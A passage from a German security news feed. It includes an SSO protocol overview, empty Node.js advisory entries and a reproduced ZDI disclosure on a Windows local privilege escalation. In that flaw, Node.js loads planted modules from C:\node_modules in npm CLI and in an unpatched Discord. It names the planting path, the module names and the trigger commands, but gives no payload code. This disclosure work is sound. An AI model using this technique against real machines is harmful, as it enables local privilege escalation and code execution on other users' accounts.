<p>Für SSO-Interaktionen werden im Wesentlichen drei Protokolle verwendet: <a href="https://www.computerwoche.de/article/2807109/was-ist-saml.html" title="SAML" target="_blank">SAML</a>, <a href="https://openid.net/developers/how-connect-works/" title="OIDC" target="_blank" rel="noopener">OIDC</a> und <a href="https://oauth.net/2/" title="OAuth 2.0" target="_blank" rel="noopener">OAuth 2.0</a>. Je nachdem, welches Protokoll der von Ihnen verwendete Identity-Anbieter unterstützt, werden Sie eines davon verwenden, um die sicheren Token-Informationen zwischen Ihren Anwendungen zu übermitteln. Jedes der Protokolle stellt einen offenen Standard dar, der auf einen bestimmten Anwendungsfall ausgerichtet ist.</p>



<ul class="wp-block-list">
<li><p><strong>SAML</strong> ist ein XML-basiertes Protokoll, das häufig in Unternehmen verwendet wird, um Enterprise SSO zu unterstützen oder um zwischen verschiedenen Business-Service-Anbietern hin- und herzuspringen. Es kann auch für die allgemeine gemeinsame Nutzung von Identitäten verwendet werden, einschließlich Federated SSO (insofern der Identity Provider das unterstützt).</p></li>



<li><p><strong>OAuth 2.0</strong> ist ein Authentifizierungsprotokoll, das die gemeinsame Nutzung von Ressourcendaten zwischen Anbietern auf der Grundlage der Zustimmung des Benutzers ermöglicht. Oauth fokussiert auf die gemeinsame Nutzung der Authentifizierung zwischen Diensten ohne die Angabe von Anmeldeinformationen.</p></li>



<li><p><strong>OIDC (OpenID Connect</strong>) stellt eine auf OAuth 2.0 aufbauende Schicht dar, die in der Regel für Social Logins (etwa “Sign in with GitHub”) verwendet wird. OIDC enthält einige Erweiterungen gegenüber OAuth, einschließlich Identity Assertions, Userinfo API und Standard Discovery – standardisierte Mechanismen für die sichere Bereitstellung und Nutzung von Identitätsinformationen.</p></li>
</ul>



<p>Diese Protokolle kommen einzeln oder im Kombination mit anderen Technologien zum Einsatz. So können beispielsweise JSON Web Token verwendet werden, um OAuth 2.0 Credential Token-Informationen in einem sichereren Format zu kapseln.</p>



<p>Glücklicherweise ist der Prozess zur Implementierung dieser Protokolle umfassend dokumentiert und wird von einer Vielzahl von Technologie-Stacks unterstützt. Der größte Teil der Arbeit wird durch Abstraktionen auf höherer Ebene in vielen Sprachen und Frameworks gekapselt. <a href="https://www.baeldung.com/sso-spring-security-oauth2" title="Spring Security" target="_blank" rel="noopener">Spring Security</a> bietet beispielsweise SSO-Unterstützung, ebenso wie <a href="https://www.passportjs.org/packages/passport-saml/" title="Passport" target="_blank" rel="noopener">Passport</a> im NodeJS/Express-Ökosystem. (fm)</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3422399/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3422399/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Fri, 10 Apr 2026 06:31:00 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3422371/it-security-nachrichten/mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3422371/it-security-nachrichten/mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Fri, 10 Apr 2026 06:21:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3419145/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3419145/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Thu, 09 Apr 2026 06:31:15 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Seattle startups combine: Inflection.io acquires Keyplay, reuniting longtime entrepreneurs]]></title>
<description><![CDATA[Inflection.io, led by CEO Aaron Bird, has acquired Keyplay, reuniting Seattle founders who have known each other for 15 years and invested in each other's companies. Keyplay CEO Adam Schoenfeld joins as CMO. Read More]]></description>
<link>https://tsecurity.de/de/3418826/it-nachrichten/seattle-startups-combine-inflectionio-acquires-keyplay-reuniting-longtime-entrepreneurs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3418826/it-nachrichten/seattle-startups-combine-inflectionio-acquires-keyplay-reuniting-longtime-entrepreneurs/</guid>
<pubDate>Thu, 09 Apr 2026 01:17:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="1260" height="945" src="https://cdn.geekwire.com/wp-content/uploads/2026/04/aaron-adam-1260x945.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/04/aaron-adam-1260x945.jpg 1260w, https://cdn.geekwire.com/wp-content/uploads/2026/04/aaron-adam-768x576.jpg 768w, https://cdn.geekwire.com/wp-content/uploads/2026/04/aaron-adam-1536x1152.jpg 1536w, https://cdn.geekwire.com/wp-content/uploads/2026/04/aaron-adam-2048x1536.jpg 2048w" sizes="(max-width: 1260px) 100vw, 1260px"><br>Inflection.io, led by CEO Aaron Bird, has acquired Keyplay, reuniting Seattle founders who have known each other for 15 years and invested in each other's companies. Keyplay CEO Adam Schoenfeld joins as CMO. <a href="https://www.geekwire.com/2026/seattle-startups-combine-inflection-io-acquires-keyplay-reuniting-longtime-entrepreneurs/">Read More</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js Trust Falls: Dangerous Module Resolution on Windows]]></title>
<description><![CDATA[In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the...]]></description>
<link>https://tsecurity.de/de/3418044/it-security-nachrichten/nodejs-trust-falls-dangerous-module-resolution-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3418044/it-security-nachrichten/nodejs-trust-falls-dangerous-module-resolution-on-windows/</guid>
<pubDate>Wed, 08 Apr 2026 18:23:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting <a href="https://docs.npmjs.com/cli/v11">npm CLI</a> that revealed a fundamental design issue in <a href="https://nodejs.org/en">Node.js</a>. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.</p>





















  
  



<p>The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in <code>C:\node_modules</code> as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.</p>




  <p class="">This issue is not new. Concerned discussions about Node.js's module search path behavior date back to <a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ">2013</a> and <a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">2014</a>.</p><p class="">Node.js has explicitly <a href="https://github.com/nodejs/node/security/policy#uncontrolled-search-path-element-cwe-427">stated</a> that they consider this behavior intentional: </p><p class="">"Node.js trusts the file system." </p><p class="">They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers. </p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png" data-image-dimensions="866x438" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1000w" width="866" height="438" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  





  <p class="">As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.</p><p class=""><strong>Root Cause</strong></p><p class="">The root cause lies in the way Node.js performs module resolution. This is documented <a href="https://nodejs.org/api/modules.html#loading-from-node-modules-folders">here.</a> Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.</p>





















  
  



<p>When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:  </p>
<ol>
<li>   C:\Users\Administrator\projects\node_modules\bar.js</li>
<li>   C:\Users\Administrator\node_modules\bar.js</li>
<li>   C:\Users\node_modules\bar.js</li>
<li>   C:\node_modules\bar.js              &lt;-- The problem</li>
</ol>
<p>If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create <code>C:\node_modules</code> and place a malicious package there. Once the low-privileged user has populated <code>C:\node_modules\bar.js</code>, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">guidelines</a>, third-party dependencies end up triggering this vulnerability anytime you launch the application.   </p>
<p><b data-preserve-html-node="true">Case Studies: Real-World Manifestations</b>  </p>
<p>The Optional Dependency Pattern:
npm supports optional dependencies to be specified in the project’s package.json file. The <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">recommended pattern</a> for checking for these dependencies is as follows:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png" data-image-dimensions="1051x756" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w" width="1051" height="756" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 2: npm Docs showing optionalDependencies example code      </em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to <code>C:\node_modules</code> where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where <code>/node_modules</code> at the filesystem root is typically only writable by root. Windows systems by default allow any user to create <code>C:\node_modules</code>. Once <code>require</code> is called, Node.js will traverse the search path and execute any matching module it finds.  </p>
<p>Important things to note:  </p>
<ol>
<li>   This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.  </li>
<li>   There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.  </li>
<li>   The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in <code>C:\node_modules</code>.</li>
</ol>
<p>Let’s take a deeper look at both cases and see why this is so dangerous.  </p>
<p><b data-preserve-html-node="true">Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775)</b>. </p>
<p>Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”. </p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png" data-image-dimensions="926x517" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w" width="926" height="517" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 3: npm CLI repo </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>snippet</em></a><em> </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>showing</em></a><em> require call for missing bluebird package dependency</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>When Node.js is installed on the system, npm is included by default without the <code>bluebird</code> package.  This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (<a href="https://github.com/npm/cli/pull/1438/changes">https://github.com/npm/cli/pull/1438/changes</a>), demonstrating how easy it is for developers to unknowingly create this attack surface.</p>
<p>We can see Node’s package resolution logic at work in the screenshot below:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png" data-image-dimensions="1007x497" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w" width="1007" height="497" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>First, the application looks for the <code>bluebird.js</code> package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed <code>C:\node_modules\bluebird.js</code>, the <code>require</code> call will find, read, and execute the malicious payload in the context of any user running npm on the system. </p>
<p>This vulnerability is especially dangerous because it is triggered when many <code>npm *</code> cli commands are used. Common development commands such as <code>npm install</code>, <code>npm –l</code>, and <code>npm prune</code> will all execute the malicious <code>bluebird.js</code>package.</p>
<p><b data-preserve-html-node="true">Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)</b></p>
<p>On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png" data-image-dimensions="1662x798" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w" width="1662" height="798" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled <code>C:\node_modules\utf-8-validate.js</code> is executed.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png" data-image-dimensions="1074x528" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w" width="1074" height="528" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>The ws library does support disabling this check via the <code>WS_NO_UTF_8_VALIDATE</code> environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:</p>




  <p class="">Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues. </p><p class=""><strong>The Bigger Picture</strong></p><p class="">The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports.  These issues in <a href="https://jira.mongodb.org/browse/COMPASS-9058">Mongo DB Compass</a> and <a href="https://jira.mongodb.org/browse/MONGOSH-2028">Mongo DB Shell</a> are just two other examples.</p><p class="">Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.</p><p class="">Each vendor has clearly stated that they will not treat these issues as vulnerabilities: </p><p class="">NPM’s response to our report: </p><p class=""><em>“exploits that require local access to a machine are considered ineligible for npm CLI</em></p><p class="">Discord’s response to our report:</p><p class=""><em>“We do not consider physical/local attacks as valid security issues”</em></p><p class="">Node.js, in the “Examples of non-vulnerabilities” section of their <a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">Security Policy</a>: </p><p class=""><em>“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.” </em></p><p class=""><strong>Conclusion</strong></p>





















  
  



<p>The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to <code>C:\node_modules</code>. Without a fix from Node.js, the burden silently falls on application developers.   </p>
<p>Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI. </p>




  <p class="">We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at <a href="https://x.com/bobbygould5">@bobbygould5</a> and <a href="https://x.com/izobashi">@izobashi</a>, and follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p><p class=""> </p><p class="">DISCLOSURE TIMELINES</p><p class=""> </p><p class="">NPM CLI: </p><p class="">2024-11-13 – ZDI submitted the report to the vendor</p><p class="">2024-11-13 – The vendor acknowledged the receipt of the report</p><p class="">2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues</p><p class="">2025-08-05 – ZDI encouraged the vendor to re-assess the issue</p><p class="">2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory</p><p class=""> </p><p class="">DISCORD: </p><p class="">2025-07-08 – ZDI notified vendor </p><p class="">2025-09-11 – ZDI followed up with vendor </p><p class="">2025-09-15 – Vendor stated they do not consider local attacks as valid security issues </p><p class="">2025-12-01 – ZDI explained why we believe the issue is still valid </p><p class="">2025-12-10 – Vendor replied that the vulnerability is still out of scope  </p><p class="">2025-12-11 – ZDI informed vendor of intent to publish 0-day  </p><p class="">  </p><p class="">REFERENCES</p><p class=""><a href="https://nodejs.org/api/modules.html#loading-from-node_modules-folders">https://nodejs.org/api/modules.html#loading-from-node_modules-folders</a></p><p class=""><a href="https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies">https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies</a></p><p class=""><a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1">https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1</a></p><p 